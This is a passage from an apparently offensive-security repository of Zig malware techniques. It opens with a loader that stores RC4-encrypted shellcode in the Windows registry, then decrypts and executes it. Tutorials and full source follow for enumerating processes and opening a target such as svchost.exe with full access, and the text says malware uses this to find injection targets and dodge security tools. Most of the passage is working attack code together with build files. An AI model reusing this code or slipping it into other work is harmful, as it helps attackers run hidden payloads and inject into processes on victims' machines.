    _ = thread_handle;
}

pub fn main() !void {
    if (comptime WRITEMODE) {
        // Write the shellcode to the registry
        print("[#] Press <Enter> To Write The Shellcode To The Registry...", .{});
        waitForEnter();

        writeShellcodeToRegistry(&RC4_CIPHER_TEXT) catch |err| {
            print("[!] Failed to write shellcode to registry: {}\n", .{err});
            std.process.exit(1);
        };
    }

    if (comptime READMODE) {
        print("[#] Press <Enter> To Read The Shellcode From The Registry...", .{});
        waitForEnter();

        // Read the shellcode
        print("[i] Reading Shellcode ... \n", .{});
        const payload_bytes = readShellcodeFromRegistry() catch |err| {
            print("[!] Failed to read shellcode from registry: {}\n", .{err});
            std.process.exit(1);
        };
        defer _ = HeapFree(GetProcessHeap(), 0, @ptrCast(payload_bytes.ptr));

        print("[+] DONE \n", .{});
        print("[+] Payload Of Size [{d}] Read At : 0x{X} \n", .{ payload_bytes.len, @intFromPtr(payload_bytes.ptr) });

        // Decrypting the shellcode
        print("[#] Press <Enter> To Decrypt The Shellcode ...", .{});
        waitForEnter();
        print("[i] Decrypting Shellcode ... \n", .{});

        // FIXED: Pass RC4_KEY as a slice instead of pointer to array
        if (!rc4EncryptionViaSystemFunc032(RC4_KEY[0..], payload_bytes)) {
            print("[!] Failed to decrypt shellcode\n", .{});
            std.process.exit(1);
        }

        print("[+] DONE \n", .{});

        // Running the shellcode
        runShellcode(payload_bytes) catch |err| {
            print("[!] Failed to execute shellcode: {}\n", .{err});
            std.process.exit(1);
        };
    }

    print("[#] Press <Enter> To Quit ...", .{});
    waitForEnter();
}

```

## /src/Malware-Techniques/Process-Enumeration/create_tool_help_32_snapshot.md

# Using CreateToolhelp32Snapshot

## TL;DR

[See the code example](https://github.com/CX330Blake/Black-Hat-Zig/tree/main/src/Malware-Techniques/Process-Enumeration/create_tool_help_32_snapshot)

`CreateToolhelp32Snapshot` allows us to capture a snapshot of the system's
process list. By iterating through this snapshot with `Process32First` and
`Process32Next`, we can collect information about every running process. Malware
often enumerates processes to find suitable targets for injection or to avoid
certain security tools. This example demonstrates how to traverse the snapshot,
identify the desired process, and obtain its handle for later use in other
techniques such as code injection.

## Code Walkthrough

```zig title="main.zig"
const std = @import("std");
const windows = std.os.windows;
const print = std.debug.print;

// Windows API types
const DWORD = windows.DWORD;
const HANDLE = windows.HANDLE;
const BOOL = windows.BOOL;
const WINAPI = windows.WINAPI;

// Configuration
const TARGET_PROCESS = "svchost.exe";

// Convert UTF-8 to UTF-16 at compile time
const W = std.unicode.utf8ToUtf16LeStringLiteral;

// Constants for CreateToolhelp32Snapshot
const TH32CS_SNAPPROCESS: DWORD = 0x00000002;
const INVALID_HANDLE_VALUE: HANDLE = @as(HANDLE, @ptrFromInt(@as(usize, @bitCast(@as(isize, -1)))));
const MAX_PATH: usize = 260;

// PROCESSENTRY32W structure
const PROCESSENTRY32W = extern struct {
    dwSize: DWORD,
    cntUsage: DWORD,
    th32ProcessID: DWORD,
    th32DefaultHeapID: usize, // ULONG_PTR
    th32ModuleID: DWORD,
    cntThreads: DWORD,
    th32ParentProcessID: DWORD,
    pcPriClassBase: i32, // LONG
    dwFlags: DWORD,
    szExeFile: [MAX_PATH]u16, // WCHAR[MAX_PATH]
};

// External function declarations for ToolHelp32 API
extern "kernel32" fn CreateToolhelp32Snapshot(dwFlags: DWORD, th32ProcessID: DWORD) callconv(WINAPI) HANDLE;
extern "kernel32" fn Process32FirstW(hSnapshot: HANDLE, lppe: *PROCESSENTRY32W) callconv(WINAPI) BOOL;
extern "kernel32" fn Process32NextW(hSnapshot: HANDLE, lppe: *PROCESSENTRY32W) callconv(WINAPI) BOOL;
extern "kernel32" fn CloseHandle(hObject: HANDLE) callconv(WINAPI) BOOL;
extern "kernel32" fn GetLastError() callconv(WINAPI) DWORD;
extern "kernel32" fn OpenProcess(dwDesiredAccess: DWORD, bInheritHandle: BOOL, dwProcessId: DWORD) callconv(WINAPI) ?HANDLE;

// Constants
const PROCESS_ALL_ACCESS = 0x001F0FFF;

// ProcessResult structure
const ProcessResult = struct {
    pid: DWORD,
    handle: HANDLE,

    pub fn deinit(self: ProcessResult) void {
        _ = CloseHandle(self.handle);
    }
};

// Helper function to convert UTF-8 string to UTF-16 (wide string)
fn convertToWideString(allocator: std.mem.Allocator, utf8_str: []const u8) ![]u16 {
    const utf16_len = try std.unicode.calcUtf16LeLen(utf8_str);
    var wide_string = try allocator.alloc(u16, utf16_len + 1);

    _ = try std.unicode.utf8ToUtf16Le(wide_string[0..utf16_len], utf8_str);
    wide_string[utf16_len] = 0; // Null terminate

    return wide_string;
}

// Helper function to compare wide strings (case-insensitive)
fn compareWideStringsIgnoreCase(str1: []const u16, str2: []const u16) bool {
    if (str1.len != str2.len) return false;

    for (str1, str2) |c1, c2| {
        // Simple case-insensitive comparison for ASCII range
        const lower_c1 = if (c1 >= 'A' and c1 <= 'Z') c1 + 32 else c1;
        const lower_c2 = if (c2 >= 'A' and c2 <= 'Z') c2 + 32 else c2;
        if (lower_c1 != lower_c2) return false;
    }
    return true;
}

// Get remote process PID by name using CreateToolhelp32Snapshot (equivalent to your function)
fn getRemoteProcessPid(allocator: std.mem.Allocator, process_name: []const u8) !DWORD {
    const wide_process_name = try convertToWideString(allocator, process_name);
    defer allocator.free(wide_process_name);

    const snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        print("[!] CreateToolhelp32Snapshot Failed With Error : {d} \n", .{GetLastError()});
        return error.SnapshotFailed;
    }
    defer _ = CloseHandle(snapshot);

    var process_entry = std.mem.zeroes(PROCESSENTRY32W);
    process_entry.dwSize = @sizeOf(PROCESSENTRY32W);

    if (Process32FirstW(snapshot, &process_entry) == 0) {
        print("[!] Process32FirstW Failed With Error : {d} \n", .{GetLastError()});
        return error.ProcessEnumFailed;
    }

    while (true) {
        // Find the length of the executable name (null-terminated)
        var exe_name_len: usize = 0;
        while (exe_name_len < process_entry.szExeFile.len and process_entry.szExeFile[exe_name_len] != 0) {
            exe_name_len += 1;
        }

        const exe_name = process_entry.szExeFile[0..exe_name_len];

        // Compare process names (case-insensitive)
        if (compareWideStringsIgnoreCase(exe_name, wide_process_name[0 .. wide_process_name.len - 1])) { // -1 to exclude null terminator
            return process_entry.th32ProcessID;
        }

        if (Process32NextW(snapshot, &process_entry) == 0) {
            break;
        }
    }

    print("[!] Process is Not Found \n", .{});
    return error.ProcessNotFound;
}

// Enhanced version that returns ProcessResult (PID + Handle)
fn getRemoteProcessHandle(allocator: std.mem.Allocator, process_name: []const u8) !?ProcessResult {
    const pid = getRemoteProcessPid(allocator, process_name) catch |err| {
        switch (err) {
            error.ProcessNotFound => return null,
            else => return err,
        }
    };

    const handle = OpenProcess(PROCESS_ALL_ACCESS, 0, pid) orelse {
        print("[!] OpenProcess failed for PID: {} with error: {d}\n", .{ pid, GetLastError() });
        return null;
    };

    return ProcessResult{
        .pid = pid,
        .handle = handle,
    };
}

// Wait for user input
fn waitForInput() !void {
    print("[#] Press Enter to exit...\n", .{});
    const stdin = std.io.getStdIn().reader();
    _ = try stdin.readByte();
}

// Main function demonstrating both approaches
pub fn main() !void {
    var gpa = std.heap.GeneralPurposeAllocator(.{}){};
    defer _ = gpa.deinit();
    const allocator = gpa.allocator();

    // Get remote process handle (equivalent to Rust's match statement)
    if (try getRemoteProcessHandle(allocator, TARGET_PROCESS)) |result| {
        defer result.deinit();

        print("[+] Found process {s} with PID: {}\n", .{ TARGET_PROCESS, result.pid });
    } else {
        print("[!] Could not find process {s}\n", .{TARGET_PROCESS});
    }

    try waitForInput();
}
```


## /src/Malware-Techniques/Process-Enumeration/create_tool_help_32_snapshot/build.zig

```zig path="/src/Malware-Techniques/Process-Enumeration/create_tool_help_32_snapshot/build.zig" 
const std = @import("std");

// Although this function looks imperative, note that its job is to
// declaratively construct a build graph that will be executed by an external
// runner.
pub fn build(b: *std.Build) void {
    // Standard target options allows the person running `zig build` to choose
    // what target to build for. Here we do not override the defaults, which
    // means any target is allowed, and the default is native. Other options
    // for restricting supported target set are available.
    const target = b.standardTargetOptions(.{ .default_target = .{ .cpu_arch = .x86_64, .os_tag = .windows } });

    // Standard optimization options allow the person running `zig build` to select
    // between Debug, ReleaseSafe, ReleaseFast, and ReleaseSmall. Here we do not
    // set a preferred release mode, allowing the user to decide how to optimize.
    const optimize = b.standardOptimizeOption(.{});

    // We will also create a module for our other entry point, 'main.zig'.
    const exe_mod = b.createModule(.{
        // `root_source_file` is the Zig "entry point" of the module. If a module
        // only contains e.g. external object files, you can make this `null`.
        // In this case the main source file is merely a path, however, in more
        // complicated build scripts, this could be a generated file.
        .root_source_file = b.path("src/main.zig"),
        .target = target,
        .optimize = optimize,
    });

    // This creates another `std.Build.Step.Compile`, but this one builds an executable
    // rather than a static library.
    const exe = b.addExecutable(.{
        .name = "create_tool_help_32_snapshot",
        .root_module = exe_mod,
    });

    // This declares intent for the executable to be installed into the
    // standard location when the user invokes the "install" step (the default
    // step when running `zig build`).
    b.installArtifact(exe);

    // This *creates* a Run step in the build graph, to be executed when another
    // step is evaluated that depends on it. The next line below will establish
    // such a dependency.
    const run_cmd = b.addRunArtifact(exe);

    // By making the run step depend on the install step, it will be run from the
    // installation directory rather than directly from within the cache directory.
    // This is not necessary, however, if the application depends on other installed
    // files, this ensures they will be present and in the expected location.
    run_cmd.step.dependOn(b.getInstallStep());

    // This allows the user to pass arguments to the application in the build
    // command itself, like this: `zig build run -- arg1 arg2 etc`
    if (b.args) |args| {
        run_cmd.addArgs(args);
    }

    // This creates a build step. It will be visible in the `zig build --help` menu,
    // and can be selected like this: `zig build run`
    // This will evaluate the `run` step rather than the default, which is "install".
    const run_step = b.step("run", "Run the app");
    run_step.dependOn(&run_cmd.step);

    const exe_unit_tests = b.addTest(.{
        .root_module = exe_mod,
    });

    const run_exe_unit_tests = b.addRunArtifact(exe_unit_tests);

    // Similar to creating the run step earlier, this exposes a `test` step to
    // the `zig build --help` menu, providing a way for the user to request
    // running the unit tests.
    const test_step = b.step("test", "Run unit tests");
    test_step.dependOn(&run_exe_unit_tests.step);
}

```

## /src/Malware-Techniques/Process-Enumeration/create_tool_help_32_snapshot/build.zig.zon

```zon path="/src/Malware-Techniques/Process-Enumeration/create_tool_help_32_snapshot/build.zig.zon" 
.{
    // This is the default name used by packages depending on this one. For
    // example, when a user runs `zig fetch --save <url>`, this field is used
    // as the key in the `dependencies` table. Although the user can choose a
    // different name, most users will stick with this provided value.
    //
    // It is redundant to include "zig" in this name because it is already
    // within the Zig package namespace.
    .name = .create_tool_help_32_snapshot,

    // This is a [Semantic Version](https://semver.org/).
    // In a future version of Zig it will be used for package deduplication.
    .version = "0.0.0",

    // Together with name, this represents a globally unique package
    // identifier. This field is generated by the Zig toolchain when the
    // package is first created, and then *never changes*. This allows
    // unambiguous detection of one package being an updated version of
    // another.
    //
    // When forking a Zig project, this id should be regenerated (delete the
    // field and run `zig build`) if the upstream project is still maintained.
    // Otherwise, the fork is *hostile*, attempting to take control over the
    // original project's identity. Thus it is recommended to leave the comment
    // on the following line intact, so that it shows up in code reviews that
    // modify the field.
    .fingerprint = 0xe7cb653a7233f8d6, // Changing this has security and trust implications.

    // Tracks the earliest Zig version that the package considers to be a
    // supported use case.
    .minimum_zig_version = "0.14.0",

    // This field is optional.
    // Each dependency must either provide a `url` and `hash`, or a `path`.
    // `zig build --fetch` can be used to fetch all dependencies of a package, recursively.
    // Once all dependencies are fetched, `zig build` no longer requires
    // internet connectivity.
    .dependencies = .{
        // See `zig fetch --save <url>` for a command-line interface for adding dependencies.
        //.example = .{
        //    // When updating this field to a new URL, be sure to delete the corresponding
        //    // `hash`, otherwise you are communicating that you expect to find the old hash at
        //    // the new URL. If the contents of a URL change this will result in a hash mismatch
        //    // which will prevent zig from using it.
        //    .url = "https://example.com/foo.tar.gz",
        //
        //    // This is computed from the file contents of the directory of files that is
        //    // obtained after fetching `url` and applying the inclusion rules given by
        //    // `paths`.
        //    //
        //    // This field is the source of truth; packages do not come from a `url`; they
        //    // come from a `hash`. `url` is just one of many possible mirrors for how to
        //    // obtain a package matching this `hash`.
        //    //
        //    // Uses the [multihash](https://multiformats.io/multihash/) format.
        //    .hash = "...",
        //
        //    // When this is provided, the package is found in a directory relative to the
        //    // build root. In this case the package's hash is irrelevant and therefore not
        //    // computed. This field and `url` are mutually exclusive.
        //    .path = "foo",
        //
        //    // When this is set to `true`, a package is declared to be lazily
        //    // fetched. This makes the dependency only get fetched if it is
        //    // actually used.
        //    .lazy = false,
        //},
    },

    // Specifies the set of files and directories that are included in this package.
    // Only files and directories listed here are included in the `hash` that
    // is computed for this package. Only files listed here will remain on disk
    // when using the zig package manager. As a rule of thumb, one should list
    // files required for compilation plus any license(s).
    // Paths are relative to the build root. Use the empty string (`""`) to refer to
    // the build root itself.
    // A directory listed here means that all files within, recursively, are included.
    .paths = .{
        "build.zig",
        "build.zig.zon",
        "src",
        // For example...
        //"LICENSE",
        //"README.md",
    },
}

```

## /src/Malware-Techniques/Process-Enumeration/create_tool_help_32_snapshot/src/main.zig

```zig path="/src/Malware-Techniques/Process-Enumeration/create_tool_help_32_snapshot/src/main.zig" 
const std = @import("std");
const windows = std.os.windows;
const print = std.debug.print;

// Windows API types
const DWORD = windows.DWORD;
const HANDLE = windows.HANDLE;
const BOOL = windows.BOOL;
const WINAPI = windows.WINAPI;

// Configuration
const TARGET_PROCESS = "svchost.exe";

// Convert UTF-8 to UTF-16 at compile time
const W = std.unicode.utf8ToUtf16LeStringLiteral;

// Constants for CreateToolhelp32Snapshot
const TH32CS_SNAPPROCESS: DWORD = 0x00000002;
const INVALID_HANDLE_VALUE: HANDLE = @as(HANDLE, @ptrFromInt(@as(usize, @bitCast(@as(isize, -1)))));
const MAX_PATH: usize = 260;

// PROCESSENTRY32W structure
const PROCESSENTRY32W = extern struct {
    dwSize: DWORD,
    cntUsage: DWORD,
    th32ProcessID: DWORD,
    th32DefaultHeapID: usize, // ULONG_PTR
    th32ModuleID: DWORD,
    cntThreads: DWORD,
    th32ParentProcessID: DWORD,
    pcPriClassBase: i32, // LONG
    dwFlags: DWORD,
    szExeFile: [MAX_PATH]u16, // WCHAR[MAX_PATH]
};

// External function declarations for ToolHelp32 API
extern "kernel32" fn CreateToolhelp32Snapshot(dwFlags: DWORD, th32ProcessID: DWORD) callconv(WINAPI) HANDLE;
extern "kernel32" fn Process32FirstW(hSnapshot: HANDLE, lppe: *PROCESSENTRY32W) callconv(WINAPI) BOOL;
extern "kernel32" fn Process32NextW(hSnapshot: HANDLE, lppe: *PROCESSENTRY32W) callconv(WINAPI) BOOL;
extern "kernel32" fn CloseHandle(hObject: HANDLE) callconv(WINAPI) BOOL;
extern "kernel32" fn GetLastError() callconv(WINAPI) DWORD;
extern "kernel32" fn OpenProcess(dwDesiredAccess: DWORD, bInheritHandle: BOOL, dwProcessId: DWORD) callconv(WINAPI) ?HANDLE;

// Constants
const PROCESS_ALL_ACCESS = 0x001F0FFF;

// ProcessResult structure
const ProcessResult = struct {
    pid: DWORD,
    handle: HANDLE,

    pub fn deinit(self: ProcessResult) void {
        _ = CloseHandle(self.handle);
    }
};

// Helper function to convert UTF-8 string to UTF-16 (wide string)
fn convertToWideString(allocator: std.mem.Allocator, utf8_str: []const u8) ![]u16 {
    const utf16_len = try std.unicode.calcUtf16LeLen(utf8_str);
    var wide_string = try allocator.alloc(u16, utf16_len + 1);

    _ = try std.unicode.utf8ToUtf16Le(wide_string[0..utf16_len], utf8_str);
    wide_string[utf16_len] = 0; // Null terminate

    return wide_string;
}

// Helper function to compare wide strings (case-insensitive)
fn compareWideStringsIgnoreCase(str1: []const u16, str2: []const u16) bool {
    if (str1.len != str2.len) return false;

    for (str1, str2) |c1, c2| {
        // Simple case-insensitive comparison for ASCII range
        const lower_c1 = if (c1 >= 'A' and c1 <= 'Z') c1 + 32 else c1;
        const lower_c2 = if (c2 >= 'A' and c2 <= 'Z') c2 + 32 else c2;
        if (lower_c1 != lower_c2) return false;
    }
    return true;
}

// Get remote process PID by name using CreateToolhelp32Snapshot (equivalent to your function)
fn getRemoteProcessPid(allocator: std.mem.Allocator, process_name: []const u8) !DWORD {
    const wide_process_name = try convertToWideString(allocator, process_name);
    defer allocator.free(wide_process_name);

    const snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        print("[!] CreateToolhelp32Snapshot Failed With Error : {d} \n", .{GetLastError()});
        return error.SnapshotFailed;
    }
    defer _ = CloseHandle(snapshot);

    var process_entry = std.mem.zeroes(PROCESSENTRY32W);
    process_entry.dwSize = @sizeOf(PROCESSENTRY32W);

    if (Process32FirstW(snapshot, &process_entry) == 0) {
        print("[!] Process32FirstW Failed With Error : {d} \n", .{GetLastError()});
        return error.ProcessEnumFailed;
    }

    while (true) {
        // Find the length of the executable name (null-terminated)
        var exe_name_len: usize = 0;
        while (exe_name_len < process_entry.szExeFile.len and process_entry.szExeFile[exe_name_len] != 0) {
            exe_name_len += 1;
        }

        const exe_name = process_entry.szExeFile[0..exe_name_len];

        // Compare process names (case-insensitive)
        if (compareWideStringsIgnoreCase(exe_name, wide_process_name[0 .. wide_process_name.len - 1])) { // -1 to exclude null terminator
            return process_entry.th32ProcessID;
        }

        if (Process32NextW(snapshot, &process_entry) == 0) {
            break;
        }
    }

    print("[!] Process is Not Found \n", .{});
    return error.ProcessNotFound;
}

// Enhanced version that returns ProcessResult (PID + Handle)
fn getRemoteProcessHandle(allocator: std.mem.Allocator, process_name: []const u8) !?ProcessResult {
    const pid = getRemoteProcessPid(allocator, process_name) catch |err| {
        switch (err) {
            error.ProcessNotFound => return null,
            else => return err,
        }
    };

    const handle = OpenProcess(PROCESS_ALL_ACCESS, 0, pid) orelse {
        print("[!] OpenProcess failed for PID: {} with error: {d}\n", .{ pid, GetLastError() });
        return null;
    };

    return ProcessResult{
        .pid = pid,
        .handle = handle,
    };
}

// Wait for user input
fn waitForInput() !void {
    print("[#] Press Enter to exit...\n", .{});
    const stdin = std.io.getStdIn().reader();
    _ = try stdin.readByte();
}

// Main function demonstrating both approaches
pub fn main() !void {
    var gpa = std.heap.GeneralPurposeAllocator(.{}){};
    defer _ = gpa.deinit();
    const allocator = gpa.allocator();

    // Get remote process handle (equivalent to Rust's match statement)
    if (try getRemoteProcessHandle(allocator, TARGET_PROCESS)) |result| {
        defer result.deinit();

        print("[+] Found process {s} with PID: {}\n", .{ TARGET_PROCESS, result.pid });
    } else {
        print("[!] Could not find process {s}\n", .{TARGET_PROCESS});
    }

    try waitForInput();
}

```

## /src/Malware-Techniques/Process-Enumeration/enum_processes.md

# Using EnumProcesses

## TL;DR

[See the code example](https://github.com/CX330Blake/Black-Hat-Zig/tree/main/src/Malware-Techniques/Process-Enumeration/enum_processes)

The `EnumProcesses` API from PSAPI retrieves an array of process identifiers for
all running processes. By iterating over these IDs and opening each process, we
can list loaded modules and gather details such as executable names. Malware uses
this enumeration step to discover potential targets or detect analysis tools.
This example shows how to request the process list, extract module information,
and display the results for later decision making.

## Code Walkthrough

```zig title="main.zig"
const std = @import("std");
const windows = std.os.windows;
const WINAPI = windows.WINAPI;

// Windows API constants and types
const DWORD = windows.DWORD;
const HANDLE = windows.HANDLE;
const BOOL = windows.BOOL;
const LPCWSTR = windows.LPCWSTR;
const HMODULE = windows.HMODULE;
const MAX_PATH = windows.MAX_PATH;

// Define a UTF-8 to UTF-16 string converter
const W = std.unicode.utf8ToUtf16LeStringLiteral;

// Process access rights
const PROCESS_ALL_ACCESS = 0x001F0FFF;
const PROCESS_QUERY_INFORMATION = 0x0400;
const PROCESS_VM_READ = 0x0010;

// External Windows API functions
extern "psapi" fn EnumProcesses(lpidProcess: [*]DWORD, cb: DWORD, lpcbNeeded: *DWORD) callconv(WINAPI) BOOL;
extern "psapi" fn EnumProcessModules(hProcess: HANDLE, lphModule: *HMODULE, cb: DWORD, lpcbNeeded: *DWORD) callconv(WINAPI) BOOL;
extern "psapi" fn GetModuleBaseNameW(hProcess: HANDLE, hModule: HMODULE, lpBaseName: [*]u16, nSize: DWORD) callconv(WINAPI) DWORD;
extern "kernel32" fn OpenProcess(dwDesiredAccess: DWORD, bInheritHandle: BOOL, dwProcessId: DWORD) callconv(WINAPI) ?HANDLE;
extern "kernel32" fn CloseHandle(hObject: HANDLE) callconv(WINAPI) BOOL;
extern "kernel32" fn GetLastError() callconv(WINAPI) DWORD;

const ProcessInfo = struct {
    pid: DWORD,
    handle: HANDLE,
};

fn getRemoteProcessHandle(allocator: std.mem.Allocator, proc_name: []const u16) !?ProcessInfo {
    _ = allocator; // suppress unused parameter warning
    var processes: [1024 * 2]DWORD = undefined;
    var return_len: DWORD = 0;
    var return_len2: DWORD = 0;

    // Get the array of PIDs in the system
    if (EnumProcesses(&processes, @sizeOf(@TypeOf(processes)), &return_len) == 0) {
        std.debug.print("[!] EnumProcesses Failed With Error: {}\n", .{GetLastError()});
        return null;
    }

    // Calculate the number of elements in the array returned
    const number_of_pids = return_len / @sizeOf(DWORD);
    std.debug.print("[i] Number Of Processes Detected: {}\n", .{number_of_pids});

    for (0..number_of_pids) |i| {
        // If process PID is not NULL
        if (processes[i] != 0) {
            // Open a process handle
            if (OpenProcess(PROCESS_ALL_ACCESS, 0, processes[i])) |h_process| {
                var h_module: HMODULE = undefined;

                // If handle is valid
                // Get a handle of a module in the process
                // The module handle is needed for `GetModuleBaseNameW`
                if (EnumProcessModules(h_process, &h_module, @sizeOf(HMODULE), &return_len2) != 0) {
                    var proc_name_buffer: [MAX_PATH]u16 = undefined;

                    // Get the name of the process
                    if (GetModuleBaseNameW(h_process, h_module, &proc_name_buffer, proc_name_buffer.len) != 0) {
                        // Find the null terminator
                        var name_len: usize = 0;
                        for (proc_name_buffer) |char| {
                            if (char == 0) break;
                            name_len += 1;
                        }

                        // Compare process names
                        if (std.mem.eql(u16, proc_name, proc_name_buffer[0..name_len])) {
                            return ProcessInfo{
                                .pid = processes[i],
                                .handle = h_process,
                            };
                        }
                    } else {
                        std.debug.print("[!] GetModuleBaseName Failed [At Pid: {}] With Error: {}\n", .{ processes[i], GetLastError() });
                    }
                } else {
                    std.debug.print("[!] EnumProcessModules Failed [At Pid: {}] With Error: {}\n", .{ processes[i], GetLastError() });
                }

                _ = CloseHandle(h_process);
            }
        }
    }

    return null;
}

fn printProcesses() !void {
    var processes: [1024 * 2]DWORD = undefined;
    var return_len: DWORD = 0;
    var return_len2: DWORD = 0;

    // Get the array of PIDs in the system
    if (EnumProcesses(&processes, @sizeOf(@TypeOf(processes)), &return_len) == 0) {
        std.debug.print("[!] EnumProcesses Failed With Error: {}\n", .{GetLastError()});
        return;
    }

    // Calculate the number of elements in the array returned
    const number_of_pids = return_len / @sizeOf(DWORD);
    std.debug.print("[i] Number Of Processes Detected: {}\n", .{number_of_pids});

    for (0..number_of_pids) |i| {
        if (processes[i] != 0) {
            // Open a process handle with limited access
            if (OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, processes[i])) |h_process| {
                var h_module: HMODULE = undefined;

                // Get a handle of a module in the process
                if (EnumProcessModules(h_process, &h_module, @sizeOf(HMODULE), &return_len2) != 0) {
                    var proc_name_buffer: [MAX_PATH]u16 = undefined;

                    // Get the name of the process
                    if (GetModuleBaseNameW(h_process, h_module, &proc_name_buffer, proc_name_buffer.len) != 0) {
                        // Find the null terminator
                        var name_len: usize = 0;
                        for (proc_name_buffer) |char| {
                            if (char == 0) break;
                            name_len += 1;
                        }

                        // Convert UTF-16 to UTF-8 for printing
                        var utf8_name: [MAX_PATH * 2]u8 = undefined;
                        if (std.unicode.utf16LeToUtf8(&utf8_name, proc_name_buffer[0..name_len])) |utf8_len| {
                            std.debug.print("[{:0>3}] Process \"{s}\" - Of Pid: {}\n", .{ i, utf8_name[0..utf8_len], processes[i] });
                        } else |_| {
                            std.debug.print("[{:0>3}] Process [encoding error] - Of Pid: {}\n", .{ i, processes[i] });
                        }
                    } else {
                        std.debug.print("[!] GetModuleBaseName Failed [At Pid: {}] With Error: {}\n", .{ processes[i], GetLastError() });
                    }
                } else {
                    std.debug.print("[!] EnumProcessModules Failed [At Pid: {}] With Error: {}\n", .{ processes[i], GetLastError() });
                }

                _ = CloseHandle(h_process);
            }
        }
    }
}

pub fn main() !void {
    var gpa = std.heap.GeneralPurposeAllocator(.{}){};
    defer _ = gpa.deinit();
    const allocator = gpa.allocator();

    // Define target process name as UTF-16 array
    const target_name = W("svchost.exe");

    if (getRemoteProcessHandle(allocator, target_name)) |maybe_process_info| {
        if (maybe_process_info) |process_info| {
            var utf8_name: [MAX_PATH * 2]u8 = undefined;
            if (std.unicode.utf16LeToUtf8(&utf8_name, target_name)) |utf8_len| {
                std.debug.print("[+] FOUND \"{s}\" - Of Pid: {}\n", .{ utf8_name[0..utf8_len], process_info.pid });
            } else |_| {
                std.debug.print("[+] FOUND [encoding error] - Of Pid: {}\n", .{process_info.pid});
            }

            // Don't forget to close the handle
            _ = CloseHandle(process_info.handle);
        } else {
            std.debug.print("[!] Target process not found\n", .{});
            return;
        }
    } else |err| {
        std.debug.print("[!] Error occurred: {}\n", .{err});
        return;
    }

    // NOTE: Uncomment this to print all processes
    // try printProcesses();

    std.debug.print("[#] Press <Enter> To Quit ... ", .{});
    const stdin = std.io.getStdIn().reader();
    _ = try stdin.readByte();
}
```


## /src/Malware-Techniques/Process-Enumeration/enum_processes/build.zig

```zig path="/src/Malware-Techniques/Process-Enumeration/enum_processes/build.zig" 
const std = @import("std");

// Although this function looks imperative, note that its job is to
// declaratively construct a build graph that will be executed by an external
// runner.
pub fn build(b: *std.Build) void {
    // Standard target options allows the person running `zig build` to choose
    // what target to build for. Here we do not override the defaults, which
    // means any target is allowed, and the default is native. Other options
    // for restricting supported target set are available.
    const target = b.standardTargetOptions(.{ .default_target = .{ .cpu_arch = .x86_64, .os_tag = .windows } });

    // Standard optimization options allow the person running `zig build` to select
    // between Debug, ReleaseSafe, ReleaseFast, and ReleaseSmall. Here we do not
    // set a preferred release mode, allowing the user to decide how to optimize.
    const optimize = b.standardOptimizeOption(.{});

    // This creates a "module", which represents a collection of source files alongside
    // some compilation options, such as optimization mode and linked system libraries.
    // Every executable or library we compile will be based on one or more modules.
    const lib_mod = b.createModule(.{
        // `root_source_file` is the Zig "entry point" of the module. If a module
        // only contains e.g. external object files, you can make this `null`.
        // In this case the main source file is merely a path, however, in more
        // complicated build scripts, this could be a generated file.
        .root_source_file = b.path("src/root.zig"),
        .target = target,
        .optimize = optimize,
    });

    // We will also create a module for our other entry point, 'main.zig'.
    const exe_mod = b.createModule(.{
        // `root_source_file` is the Zig "entry point" of the module. If a module
        // only contains e.g. external object files, you can make this `null`.
        // In this case the main source file is merely a path, however, in more
        // complicated build scripts, this could be a generated file.
        .root_source_file = b.path("src/main.zig"),
        .target = target,
        .optimize = optimize,
    });

    // Modules can depend on one another using the `std.Build.Module.addImport` function.
    // This is what allows Zig source code to use `@import("foo")` where 'foo' is not a
    // file path. In this case, we set up `exe_mod` to import `lib_mod`.
    exe_mod.addImport("enum_processes_lib", lib_mod);

    // Now, we will create a static library based on the module we created above.
    // This creates a `std.Build.Step.Compile`, which is the build step responsible
    // for actually invoking the compiler.
    const lib = b.addLibrary(.{
        .linkage = .static,
        .name = "enum_processes",
        .root_module = lib_mod,
    });

    // This declares intent for the library to be installed into the standard
    // location when the user invokes the "install" step (the default step when
    // running `zig build`).
    b.installArtifact(lib);

    // This creates another `std.Build.Step.Compile`, but this one builds an executable
    // rather than a static library.
    const exe = b.addExecutable(.{
        .name = "enum_processes",
        .root_module = exe_mod,
    });

    // This declares intent for the executable to be installed into the
    // standard location when the user invokes the "install" step (the default
    // step when running `zig build`).
    b.installArtifact(exe);

    // This *creates* a Run step in the build graph, to be executed when another
    // step is evaluated that depends on it. The next line below will establish
    // such a dependency.
    const run_cmd = b.addRunArtifact(exe);

    // By making the run step depend on the install step, it will be run from the
    // installation directory rather than directly from within the cache directory.
    // This is not necessary, however, if the application depends on other installed
    // files, this ensures they will be present and in the expected location.
    run_cmd.step.dependOn(b.getInstallStep());

    // This allows the user to pass arguments to the application in the build
    // command itself, like this: `zig build run -- arg1 arg2 etc`
    if (b.args) |args| {
        run_cmd.addArgs(args);
    }

    // This creates a build step. It will be visible in the `zig build --help` menu,
    // and can be selected like this: `zig build run`
    // This will evaluate the `run` step rather than the default, which is "install".
    const run_step = b.step("run", "Run the app");
    run_step.dependOn(&run_cmd.step);

    // Creates a step for unit testing. This only builds the test executable
    // but does not run it.
    const lib_unit_tests = b.addTest(.{
        .root_module = lib_mod,
    });

    const run_lib_unit_tests = b.addRunArtifact(lib_unit_tests);

    const exe_unit_tests = b.addTest(.{
        .root_module = exe_mod,
    });

    const run_exe_unit_tests = b.addRunArtifact(exe_unit_tests);

    // Similar to creating the run step earlier, this exposes a `test` step to
    // the `zig build --help` menu, providing a way for the user to request
    // running the unit tests.
    const test_step = b.step("test", "Run unit tests");
    test_step.dependOn(&run_lib_unit_tests.step);
    test_step.dependOn(&run_exe_unit_tests.step);
}

```

## /src/Malware-Techniques/Process-Enumeration/enum_processes/build.zig.zon

```zon path="/src/Malware-Techniques/Process-Enumeration/enum_processes/build.zig.zon" 
.{
    // This is the default name used by packages depending on this one. For
    // example, when a user runs `zig fetch --save <url>`, this field is used
    // as the key in the `dependencies` table. Although the user can choose a
    // different name, most users will stick with this provided value.
    //
    // It is redundant to include "zig" in this name because it is already
    // within the Zig package namespace.
    .name = .enum_processes,

    // This is a [Semantic Version](https://semver.org/).
    // In a future version of Zig it will be used for package deduplication.
    .version = "0.0.0",

    // Together with name, this represents a globally unique package
